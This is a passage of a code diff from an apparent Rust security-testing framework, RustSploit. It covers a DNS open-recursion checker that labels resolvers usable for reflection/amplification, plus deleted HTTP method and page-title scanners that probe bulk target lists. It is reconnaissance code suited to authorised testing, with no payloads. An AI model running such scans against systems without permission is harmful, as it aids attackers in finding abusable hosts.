fn report_result(message: &Message, display_target: &str, record_type: RecordType) {
|
||||
let recursion_available = message.recursion_available();
|
||||
let recursion_desired = message.recursion_desired();
|
||||
let authoritative = message.authoritative();
|
||||
let truncated = message.truncated();
|
||||
let rcode = message.response_code();
|
||||
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Response code: {:?} | Answers: {} | Authority: {} | Additional: {}",
|
||||
rcode,
|
||||
message.answers().len(),
|
||||
message.name_servers().len(),
|
||||
message.additionals().len()
|
||||
)
|
||||
);
|
||||
|
||||
if truncated {
|
||||
println!("[!] Response was truncated (TC flag set).");
|
||||
}
|
||||
|
||||
println!(
|
||||
"[*] Flags: RD={} RA={} AA={}",
|
||||
recursion_desired, recursion_available, authoritative
|
||||
);
|
||||
|
||||
if recursion_available && rcode != ResponseCode::Refused {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
|
||||
display_target,
|
||||
record_type,
|
||||
if authoritative { "(authoritative data returned)" } else { "" }
|
||||
)
|
||||
.green()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
" This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)."
|
||||
.yellow()
|
||||
);
|
||||
} else if recursion_available && rcode == ResponseCode::Refused {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[-] {} reports recursion available but refused the request (likely ACL protected).",
|
||||
display_target
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
|
||||
display_target
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_record_type(input: &str) -> Result<RecordType> {
|
||||
match input.trim().to_uppercase().as_str() {
|
||||
"A" => Ok(RecordType::A),
|
||||
"AAAA" => Ok(RecordType::AAAA),
|
||||
"ANY" => Ok(RecordType::ANY),
|
||||
"DNSKEY" => Ok(RecordType::DNSKEY),
|
||||
"TXT" => Ok(RecordType::TXT),
|
||||
"MX" => Ok(RecordType::MX),
|
||||
other => Err(anyhow!("Unsupported record type '{}'", other)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn resolve_target(host: &str, port: u16) -> Result<(SocketAddr, String)> {
|
||||
if let Ok(ip) = host.parse::<IpAddr>() {
|
||||
let addr = SocketAddr::new(ip, port);
|
||||
return Ok((addr, format_endpoint(host, port)));
|
||||
}
|
||||
|
||||
let mut addrs_iter = (host, port)
|
||||
.to_socket_addrs()
|
||||
.with_context(|| format!("Unable to resolve '{}:{}'", host, port))?;
|
||||
let addr = addrs_iter
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("No socket addresses resolved for '{}:{}'", host, port))?;
|
||||
Ok((addr, addr.to_string()))
|
||||
}
|
||||
|
||||
fn random_test_domain() -> String {
|
||||
let mut rng = rand::rng();
|
||||
let random_label: String = (0..12)
|
||||
.map(|_| {
|
||||
let n = rng.random_range(0..36);
|
||||
if n < 10 {
|
||||
(b'0' + n) as char
|
||||
} else {
|
||||
(b'a' + (n - 10)) as char
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
format!("{}.rustsploit.test", random_label)
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else if trimmed.len() > 255 {
|
||||
Err(anyhow!("Input too long"))
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(message: &str, default: u16) -> Result<u16> {
|
||||
loop {
|
||||
let prompt = format!("{} [{}]: ", message, default);
|
||||
print!("{}", prompt);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
if let Ok(value) = trimmed.parse::<u16>() {
|
||||
if value > 0 {
|
||||
return Ok(value);
|
||||
}
|
||||
}
|
||||
println!("Please provide a valid port between 1 and 65535.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_line(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.len() > 255 {
|
||||
return Err(anyhow!("Input too long (max 255 characters)."));
|
||||
}
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
let hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
loop {
|
||||
let prompt = format!("{} [{}]: ", message, hint);
|
||||
print!("{}", prompt);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
"stop" => return Ok(false),
|
||||
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn collect_targets(initial: &str) -> Result<Vec<TargetSpec>> {
|
||||
let mut targets = Vec::new();
|
||||
let mut seen: HashSet<String> = HashSet::new();
|
||||
|
||||
let trimmed_initial = initial.trim();
|
||||
if !trimmed_initial.is_empty() {
|
||||
let added = parse_targets_from_str(trimmed_initial, "cli", &mut seen, &mut targets);
|
||||
if added == 0 && Path::new(trimmed_initial).is_file() {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Loading targets from file '{}'", trimmed_initial).cyan()
|
||||
);
|
||||
match parse_targets_from_file(trimmed_initial, &mut seen, &mut targets) {
|
||||
Ok(count) => {
|
||||
if count == 0 {
|
||||
println!("{}", " No valid targets found in file.".yellow());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" Loaded {} target(s) from '{}'",
|
||||
count, trimmed_initial
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
" Failed to read '{}': {}",
|
||||
trimmed_initial, err
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no(
|
||||
"Add additional targets manually? (type 'stop' to finish)",
|
||||
targets.is_empty(),
|
||||
)? {
|
||||
loop {
|
||||
let entry = prompt_line("Target (IP/host[:port], 'stop' to finish): ")?;
|
||||
if entry.is_empty() {
|
||||
continue;
|
||||
}
|
||||
if entry.eq_ignore_ascii_case("stop") {
|
||||
break;
|
||||
}
|
||||
add_target_token(&entry, "interactive", &mut seen, &mut targets);
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
loop {
|
||||
let path_input = prompt_line("Path to file ('stop' to finish): ")?;
|
||||
if path_input.is_empty() {
|
||||
continue;
|
||||
}
|
||||
if path_input.eq_ignore_ascii_case("stop") {
|
||||
break;
|
||||
}
|
||||
match parse_targets_from_file(&path_input, &mut seen, &mut targets) {
|
||||
Ok(count) => {
|
||||
if count == 0 {
|
||||
println!(
|
||||
"{}",
|
||||
format!(" No valid targets parsed from '{}'", path_input).yellow()
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" Loaded {} target(s) from '{}'",
|
||||
count, path_input
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(err) => eprintln!(
|
||||
"{}",
|
||||
format!(" Failed to read '{}': {}", path_input, err).red()
|
||||
),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
fn parse_targets_from_str(
|
||||
input: &str,
|
||||
context: &str,
|
||||
seen: &mut HashSet<String>,
|
||||
targets: &mut Vec<TargetSpec>,
|
||||
) -> usize {
|
||||
let mut added = 0usize;
|
||||
for token in input
|
||||
.split(|c: char| c == ',' || c.is_ascii_whitespace())
|
||||
.filter_map(|segment| {
|
||||
let trimmed = segment.trim();
|
||||
if trimmed.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed)
|
||||
}
|
||||
})
|
||||
{
|
||||
if add_target_token(token, context, seen, targets) {
|
||||
added += 1;
|
||||
}
|
||||
}
|
||||
added
|
||||
}
|
||||
|
||||
fn parse_targets_from_file(
|
||||
path: &str,
|
||||
seen: &mut HashSet<String>,
|
||||
targets: &mut Vec<TargetSpec>,
|
||||
) -> Result<usize> {
|
||||
let file = File::open(path)
|
||||
.with_context(|| format!("Failed to open target file '{}'", path))?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut added = 0usize;
|
||||
|
||||
for (idx, line) in reader.lines().enumerate() {
|
||||
let line = line?;
|
||||
let content = line.split('#').next().unwrap_or("").trim();
|
||||
if content.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let ctx = format!("file:{}:{}", path, idx + 1);
|
||||
added += parse_targets_from_str(content, &ctx, seen, targets);
|
||||
}
|
||||
|
||||
Ok(added)
|
||||
}
|
||||
|
||||
fn add_target_token(
|
||||
token: &str,
|
||||
context: &str,
|
||||
seen: &mut HashSet<String>,
|
||||
targets: &mut Vec<TargetSpec>,
|
||||
) -> bool {
|
||||
if token.eq_ignore_ascii_case("stop") {
|
||||
return false;
|
||||
}
|
||||
|
||||
match parse_target_spec(token) {
|
||||
Ok(spec) => {
|
||||
let key = format!("{}:{}", spec.host, spec.port.unwrap_or(0));
|
||||
if seen.insert(key) {
|
||||
println!(
|
||||
"{}",
|
||||
format!(" [{}] Added target {}", context, spec.input).cyan()
|
||||
);
|
||||
targets.push(spec);
|
||||
true
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(" [{}] Duplicate target '{}' skipped", context, token).dimmed()
|
||||
);
|
||||
false
|
||||
}
|
||||
}
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
" [{}] Skipping invalid target '{}': {}",
|
||||
context, token, err
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_target_spec(token: &str) -> Result<TargetSpec> {
|
||||
let sanitized = sanitize_target_input(token)?;
|
||||
let (host, port) = split_host_port(&sanitized)?;
|
||||
Ok(TargetSpec {
|
||||
input: sanitized.clone(),
|
||||
host: host.to_lowercase(),
|
||||
port,
|
||||
})
|
||||
}
|
||||
|
||||
fn sanitize_target_input(input: &str) -> Result<String> {
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
if trimmed.len() > 255 {
|
||||
return Err(anyhow!(
|
||||
"Target '{}' is too long (maximum 255 characters)",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
if !trimmed
|
||||
.chars()
|
||||
.all(|c| c.is_ascii_alphanumeric() || ".-_:[]".contains(c))
|
||||
{
|
||||
return Err(anyhow!(
|
||||
"Target '{}' contains invalid characters. Allowed: A-Z, 0-9, '.', '-', '_', ':', '[', ']'",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn split_host_port(value: &str) -> Result<(String, Option<u16>)> {
|
||||
if value.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
if let Ok(addr) = value.parse::<SocketAddr>() {
|
||||
return Ok((addr.ip().to_string(), Some(addr.port())));
|
||||
}
|
||||
|
||||
if value.starts_with('[') {
|
||||
let end = value
|
||||
.find(']')
|
||||
.ok_or_else(|| anyhow!("Malformed IPv6 target '{}': missing ']'", value))?;
|
||||
let host = value[1..end].to_string();
|
||||
if value.len() == end + 1 {
|
||||
return Ok((host, None));
|
||||
}
|
||||
if !value[end + 1..].starts_with(':') {
|
||||
return Err(anyhow!(
|
||||
"Malformed IPv6 target '{}': expected ':' after ']'",
|
||||
value
|
||||
));
|
||||
}
|
||||
let port_part = &value[end + 2..];
|
||||
if port_part.is_empty() {
|
||||
return Err(anyhow!("Missing port after IPv6 address in '{}'", value));
|
||||
}
|
||||
let port = port_part
|
||||
.parse::<u16>()
|
||||
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port must be between 1 and 65535"));
|
||||
}
|
||||
return Ok((host, Some(port)));
|
||||
}
|
||||
|
||||
if value.ends_with(':') {
|
||||
return Err(anyhow!(
|
||||
"Invalid target '{}': trailing ':' without port",
|
||||
value
|
||||
));
|
||||
}
|
||||
|
||||
let colon_count = value.matches(':').count();
|
||||
if colon_count == 1 {
|
||||
let idx = value.rfind(':').unwrap();
|
||||
let host_part = &value[..idx];
|
||||
let port_part = &value[idx + 1..];
|
||||
if host_part.is_empty() {
|
||||
return Err(anyhow!("Host cannot be empty in target '{}'", value));
|
||||
}
|
||||
if !port_part.chars().all(|c| c.is_ascii_digit()) {
|
||||
return Err(anyhow!(
|
||||
"Invalid port '{}' in target '{}'",
|
||||
port_part,
|
||||
value
|
||||
));
|
||||
}
|
||||
let port = port_part
|
||||
.parse::<u16>()
|
||||
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port must be between 1 and 65535"));
|
||||
}
|
||||
return Ok((host_part.to_string(), Some(port)));
|
||||
}
|
||||
|
||||
if colon_count >= 2 {
|
||||
let ip = value.parse::<IpAddr>().with_context(|| {
|
||||
format!(
|
||||
"Invalid IPv6 address '{}' (use [addr]:port for scoped ports)",
|
||||
value
|
||||
)
|
||||
})?;
|
||||
return Ok((ip.to_string(), None));
|
||||
}
|
||||
|
||||
Ok((value.to_string(), None))
|
||||
}
|
||||
|
||||
fn format_endpoint(host: &str, port: u16) -> String {
|
||||
match host.parse::<IpAddr>() {
|
||||
Ok(IpAddr::V6(_)) => format!("[{}]:{}", host, port),
|
||||
_ => format!("{}:{}", host, port),
|
||||
}
|
||||
}
|
||||
|
||||
fn validate_domain_input(input: &str) -> Result<String> {
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Domain cannot be empty"));
|
||||
}
|
||||
if trimmed.len() > 253 {
|
||||
return Err(anyhow!(
|
||||
"Domain '{}' is too long (maximum 253 characters)",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
let without_dot = trimmed.trim_end_matches('.');
|
||||
if without_dot.is_empty() {
|
||||
return Err(anyhow!("Domain cannot be empty"));
|
||||
}
|
||||
if without_dot
|
||||
.chars()
|
||||
.any(|c| !(c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_'))
|
||||
{
|
||||
return Err(anyhow!(
|
||||
"Domain '{}' contains invalid characters. Allowed: A-Z, 0-9, '-', '_', '.'",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
Ok(without_dot.to_lowercase())
|
||||
}
|
||||
@@ -1,375 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use reqwest::{Client, Method, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
const METHODS: &[&str] = &[
|
||||
"GET",
|
||||
"POST",
|
||||
"HEAD",
|
||||
"OPTIONS",
|
||||
"PUT",
|
||||
"DELETE",
|
||||
"PATCH",
|
||||
"TRACE",
|
||||
"CONNECT",
|
||||
];
|
||||
|
||||
struct MethodResult {
|
||||
method: &'static str,
|
||||
status: Option<StatusCode>,
|
||||
ok: bool,
|
||||
error: Option<String>,
|
||||
duration_ms: u128,
|
||||
}
|
||||
|
||||
struct TargetResult {
|
||||
target: String,
|
||||
results: Vec<MethodResult>,
|
||||
}
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut targets = collect_initial_targets(initial_target);
|
||||
|
||||
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
|
||||
if !additional.is_empty() {
|
||||
targets.extend(split_targets(&additional));
|
||||
}
|
||||
|
||||
let file_path = prompt("Path to file with targets (optional): ")?;
|
||||
if !file_path.is_empty() {
|
||||
let file_targets = load_targets_from_file(&file_path)?;
|
||||
targets.extend(file_targets);
|
||||
}
|
||||
|
||||
let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?;
|
||||
let default_scheme = match default_scheme_input.to_lowercase().as_str() {
|
||||
"http" => "http",
|
||||
_ => "https",
|
||||
};
|
||||
|
||||
let use_ports = prompt_bool(
|
||||
"Test via specific ports (port tunneling)? (yes/no, default no): ",
|
||||
false,
|
||||
)?;
|
||||
let ports = if use_ports {
|
||||
prompt_ports()?
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
|
||||
let timeout_secs: u64 = timeout_input
|
||||
.parse()
|
||||
.ok()
|
||||
.filter(|val| *val > 0)
|
||||
.unwrap_or(10);
|
||||
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
|
||||
|
||||
let mut normalized = normalize_targets(targets, default_scheme);
|
||||
if !ports.is_empty() {
|
||||
let expanded = expand_targets_with_ports(&normalized, &ports);
|
||||
if expanded.is_empty() {
|
||||
println!("[!] No valid port combinations derived; continuing without port tunneling.");
|
||||
} else {
|
||||
normalized = expanded;
|
||||
}
|
||||
}
|
||||
if normalized.is_empty() {
|
||||
return Err(anyhow!("No valid targets provided"));
|
||||
}
|
||||
normalized.sort();
|
||||
|
||||
let client = Client::builder()
|
||||
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut all_results = Vec::new();
|
||||
|
||||
for target in &normalized {
|
||||
println!("\n=== Target: {} ===", target);
|
||||
let mut method_results = Vec::new();
|
||||
|
||||
for &method_name in METHODS {
|
||||
let method = Method::from_bytes(method_name.as_bytes()).unwrap_or(Method::GET);
|
||||
let body = match method_name {
|
||||
"POST" | "PUT" | "PATCH" => Some("RustSploit HTTP method scanner test".to_string()),
|
||||
_ => None,
|
||||
};
|
||||
|
||||
let start = std::time::Instant::now();
|
||||
let response = if let Some(ref payload) = body {
|
||||
client
|
||||
.request(method.clone(), target)
|
||||
.body(payload.clone())
|
||||
.send()
|
||||
.await
|
||||
} else {
|
||||
client.request(method.clone(), target).send().await
|
||||
};
|
||||
let elapsed = start.elapsed();
|
||||
|
||||
match response {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let ok = status.is_success();
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
status,
|
||||
elapsed
|
||||
);
|
||||
} else {
|
||||
println!(" [{}] {}", method_name, status);
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
status: Some(status),
|
||||
ok,
|
||||
error: None,
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
Err(err) => {
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> error: {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
err,
|
||||
elapsed
|
||||
);
|
||||
} else {
|
||||
println!(" [{}] error: {}", method_name, err);
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
status: None,
|
||||
ok: false,
|
||||
error: Some(err.to_string()),
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
all_results.push(TargetResult {
|
||||
target: target.clone(),
|
||||
results: method_results,
|
||||
});
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_method_scan_{}.txt",
|
||||
Utc::now().format("%Y%m%d_%H%M%S")
|
||||
);
|
||||
let output_path = prompt_with_default(
|
||||
"Enter output file path (press Enter for default): ",
|
||||
&default_name,
|
||||
)?;
|
||||
write_report(&output_path, &all_results)?;
|
||||
println!("[*] Results saved to {}", output_path);
|
||||
}
|
||||
|
||||
println!("\n[*] Scan complete.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════════╗
|
||||
║ HTTP METHOD CAPABILITY SCANNER ║
|
||||
║ Checks support for common verbs ║
|
||||
╚══════════════════════════════════════════════════════╝
|
||||
"#
|
||||
);
|
||||
}
|
||||
|
||||
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
|
||||
let mut targets = Vec::new();
|
||||
let trimmed = initial_target.trim();
|
||||
if !trimmed.is_empty() && trimmed != "http_method_scanner" {
|
||||
targets.extend(split_targets(trimmed));
|
||||
}
|
||||
targets
|
||||
}
|
||||
|
||||
fn split_targets(input: &str) -> Vec<String> {
|
||||
input
|
||||
.split(|c| c == ',' || c == '\n' || c == ';')
|
||||
.map(|item| item.trim().trim_end_matches('/').to_string())
|
||||
.filter(|item| !item.is_empty())
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let data = fs::read_to_string(path)
|
||||
.with_context(|| format!("Failed to read target file: {}", path))?;
|
||||
Ok(split_targets(&data))
|
||||
}
|
||||
|
||||
fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String> {
|
||||
let mut unique = HashSet::new();
|
||||
let mut normalized = Vec::new();
|
||||
|
||||
for raw in targets {
|
||||
let target = raw.trim();
|
||||
if target.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let formatted = if target.starts_with("http://")
|
||||
|| target.starts_with("https://")
|
||||
|| target.contains("://")
|
||||
{
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("{}://{}", default_scheme, target)
|
||||
};
|
||||
if unique.insert(formatted.clone()) {
|
||||
normalized.push(formatted);
|
||||
}
|
||||
}
|
||||
|
||||
normalized
|
||||
}
|
||||
|
||||
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
|
||||
let mut expanded = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
|
||||
for target in targets {
|
||||
if let Ok(mut url) = Url::parse(target) {
|
||||
for port in ports {
|
||||
if url.set_port(Some(*port)).is_ok() {
|
||||
let final_url = url.to_string();
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for port in ports {
|
||||
let final_url = format!("{}:{}", target, port);
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
expanded
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read user input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let default_text = if default { "yes" } else { "no" };
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" | "true" => Ok(true),
|
||||
"n" | "no" | "false" => Ok(false),
|
||||
_ => {
|
||||
println!("[!] Invalid input, using default ({})", default_text);
|
||||
Ok(default)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(input)
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_ports() -> Result<Vec<u16>> {
|
||||
let input = prompt(
|
||||
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
|
||||
)?;
|
||||
if input.is_empty() {
|
||||
println!("[!] No ports provided; skipping port tunneling.");
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let mut ports = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
|
||||
let trimmed = part.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match trimmed.parse::<u16>() {
|
||||
Ok(port) => {
|
||||
if seen.insert(port) {
|
||||
ports.push(port);
|
||||
}
|
||||
}
|
||||
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
|
||||
}
|
||||
}
|
||||
|
||||
if ports.is_empty() {
|
||||
println!("[!] No valid ports parsed; skipping port tunneling.");
|
||||
}
|
||||
|
||||
Ok(ports)
|
||||
}
|
||||
|
||||
fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
|
||||
let mut lines = Vec::new();
|
||||
lines.push("HTTP Method Scanner Report".to_string());
|
||||
lines.push(format!("Generated at: {}", Utc::now()));
|
||||
lines.push(String::new());
|
||||
|
||||
for target in results {
|
||||
lines.push(format!("Target: {}", target.target));
|
||||
for method in &target.results {
|
||||
if let Some(status) = method.status {
|
||||
lines.push(format!(
|
||||
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
|
||||
method.method,
|
||||
status.as_u16(),
|
||||
method.ok,
|
||||
method.duration_ms
|
||||
));
|
||||
} else if let Some(ref error) = method.error {
|
||||
lines.push(format!(
|
||||
" - {:<7} error: {} time: {} ms",
|
||||
method.method, error, method.duration_ms
|
||||
));
|
||||
}
|
||||
}
|
||||
lines.push(String::new());
|
||||
}
|
||||
|
||||
fs::write(path, lines.join("\n"))
|
||||
.with_context(|| format!("Failed to write report to {}", path))
|
||||
}
|
||||
@@ -1,373 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut targets = collect_initial_targets(initial_target);
|
||||
|
||||
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
|
||||
if !additional.is_empty() {
|
||||
targets.extend(split_targets(&additional));
|
||||
}
|
||||
|
||||
let file_path = prompt("Path to file with targets (optional): ")?;
|
||||
if !file_path.is_empty() {
|
||||
let file_targets = load_targets_from_file(&file_path)?;
|
||||
targets.extend(file_targets);
|
||||
}
|
||||
|
||||
let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?;
|
||||
let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?;
|
||||
|
||||
if !check_http && !check_https {
|
||||
println!("[!] Neither HTTP nor HTTPS selected; nothing to scan.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let use_ports = prompt_bool(
|
||||
"Test via specific ports (port tunneling)? (yes/no, default no): ",
|
||||
false,
|
||||
)?;
|
||||
let ports = if use_ports {
|
||||
prompt_ports()?
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
let timeout_secs = prompt_timeout()?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
|
||||
|
||||
let mut normalized = normalize_targets(targets, check_http, check_https);
|
||||
if !ports.is_empty() {
|
||||
let expanded = expand_targets_with_ports(&normalized, &ports);
|
||||
if expanded.is_empty() {
|
||||
println!("[!] No valid port combinations derived; continuing without port tunneling.");
|
||||
} else {
|
||||
normalized = expanded;
|
||||
}
|
||||
}
|
||||
if normalized.is_empty() {
|
||||
return Err(anyhow!("No valid targets provided"));
|
||||
}
|
||||
normalized.sort();
|
||||
|
||||
let client = Client::builder()
|
||||
.user_agent("RustSploit-HTTP-Title-Scanner/1.0")
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
|
||||
let mut all_results = Vec::new();
|
||||
|
||||
for url in &normalized {
|
||||
match fetch_title(&client, url, &title_re).await {
|
||||
Ok(result) => {
|
||||
if let Some(title) = &result.title {
|
||||
println!("[+] {} -> {}" , url, title);
|
||||
} else if let Some(status) = result.status {
|
||||
println!("[+] {} -> <no title> (status: {})", url, status);
|
||||
} else {
|
||||
println!("[+] {} -> <no title>", url);
|
||||
}
|
||||
if verbose {
|
||||
if let Some(status) = result.status {
|
||||
println!(" Status: {}", status);
|
||||
}
|
||||
println!(" Duration: {} ms", result.duration_ms);
|
||||
}
|
||||
all_results.push(result);
|
||||
}
|
||||
Err(err) => {
|
||||
